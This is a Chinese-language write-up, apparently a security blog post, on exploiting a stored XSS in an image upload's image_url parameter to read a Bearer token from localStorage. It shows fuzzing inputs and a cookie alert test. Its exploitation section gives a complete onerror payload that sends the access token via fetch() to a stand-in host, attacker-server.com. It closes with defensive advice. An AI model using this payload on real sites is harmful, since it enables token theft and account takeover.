XSS漏洞_从本地存储中获取数据
字数 1046 2025-08-03 16:43:29
XSS漏洞利用:从本地存储中获取敏感数据
1. 漏洞背景
本文介绍了一种高级XSS漏洞利用技术,通过存储型XSS漏洞获取存储在客户端本地的敏感信息(如Bearer Token),而不仅仅是传统的Cookie窃取。
2. 漏洞发现过程
2.1 漏洞触发点
漏洞存在于一个文件上传功能中:
- 文件上传后会返回云存储URL
- 服务器通过
image_url参数接收URL - 服务器将URL拼接到``标签中
- 拼接时还会附加"s1600"字符串
2.2 漏洞验证
通过fuzz测试发现:
-
传入
image_url="xxx test",HTML返回: -
传入
image_url="xxx onerror=test",HTML返回: -
传入
image_url="xxx onerror=alert(document.cookie);"成功触发弹窗
3. 本地存储信息读取技术
3.1 本地存储特性
- Web存储API,以键值对形式存储数据
- 为每个域(origin)维护独立存储区域
- 数据在浏览器关闭后仍保留
- 通过
Window.localStorage对象访问
3.2 目标应用分析
目标应用在基于cookie的身份验证之外还使用Bearer Token:
- Token原始值以JSON格式存储在本地存储中
- 可通过JavaScript读取
3.3 读取方法
-
使用
getItem()检索密钥:localStorage.getItem('Key') -
解析JSON值:
JSON.parse(localStorage.getItem('Key')).KEYNAME
4. 完整利用流程
4.1 Payload构造
-
从本地存储检索access_token:
token = JSON.parse(localStorage.getItem('KEYNAME')).access_token -
将Token通过Burp Collaborator带外传输:
url = 'https://attacker-server.com/' + token -
最终payload:
"xxx onerror=token=JSON.parse(localStorage.getItem('KEYNAME')).access_token,url='https://attacker-server.com/'+token,fetch(url);"
4.2 实际HTML输出
5. 防御建议
-
输入验证与过滤:
- 严格验证
image_url参数,确保是合法URL - 过滤特殊字符和事件处理程序
- 严格验证
-
输出编码:
- 对动态内容进行HTML实体编码
-
敏感数据存储:
- 避免将敏感信息存储在本地存储中
- 使用HttpOnly和Secure标志的Cookie
-
内容安全策略(CSP):
- 实施严格的CSP策略限制脚本执行
-
最小权限原则:
- 本地存储只存储非敏感数据
- 敏感操作需服务器端验证
6. 总结
本案例展示了XSS漏洞不仅可用于窃取Cookie,还能获取存储在客户端本地的其他敏感信息。攻击者通过精心构造的payload,利用存储型XSS读取本地存储中的Bearer Token,实现了权限提升。这强调了全面安全防护的重要性,包括输入验证、输出编码和敏感数据保护等多层防御措施。